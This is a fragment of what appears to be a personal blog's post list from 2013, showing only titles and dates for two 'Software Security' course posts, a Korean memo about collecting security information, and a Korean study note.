Software Security 2/5  (0) 2013.09.10
Software Security 1/5  (0) 2013.09.09
[메모] 보안 정보 받는 거나 나한테 필요한거~  (0) 2013.07.22
학습하자.  (0) 2013.03.29
: